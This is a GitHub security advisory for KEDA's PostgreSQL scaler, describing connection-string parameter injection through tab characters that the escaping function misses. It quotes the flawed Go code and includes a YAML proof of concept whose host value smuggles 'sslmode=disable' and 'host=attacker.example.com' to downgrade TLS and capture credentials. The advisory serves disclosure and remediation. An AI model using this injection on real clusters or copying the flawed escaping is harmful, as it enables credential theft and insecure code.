GitHub Advisoryadvisory · Go
GHSA-6w3m-4hhp-775q KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping
MEDIUM
Official page ↗
- Aliases
- CVE-2026-53572
- Ecosystem
- Go
- Packages
- github.com/kedacore/keda/v2
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
- Weaknesses
- CWE-74, CWE-89
- Reviewed
- 2026-07-07
Affected packages
• Go github.com/kedacore/keda/v2: < 2.20.0 → fixed in 2.20.0
Description
Summary
`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:
```go
func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}
```
The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.
Vulnerable code
`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.
Impact
Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:
• Force `sslmode=disable` on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
• Redirect the connection to an attacker-controlled host (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.
• Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.
Note: the password parameter is appended last in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.
Proof of concept
```yaml
triggers:
• type: postgresql
metadata:
host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
port: "5432"
userName: "keda"
dbName: "metrics"
sslmode: "require"
query: "SELECT 1"
```
After `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.
Suggested fix
• Escape / reject any ASCII whitespace (`\t`, `\n`, `\r`, `\f`, `\v`, space) and backslash.
• Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.
• Validate each field against an allow-list pattern before use.
Resources
• `pkg/scalers/postgresql_scaler.go`
• libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING
Related
Alias · CVE (1)
- CVE-2026-53572 KEDA is a Kubernetes-based Event Driven Autoscaling component. vulnerability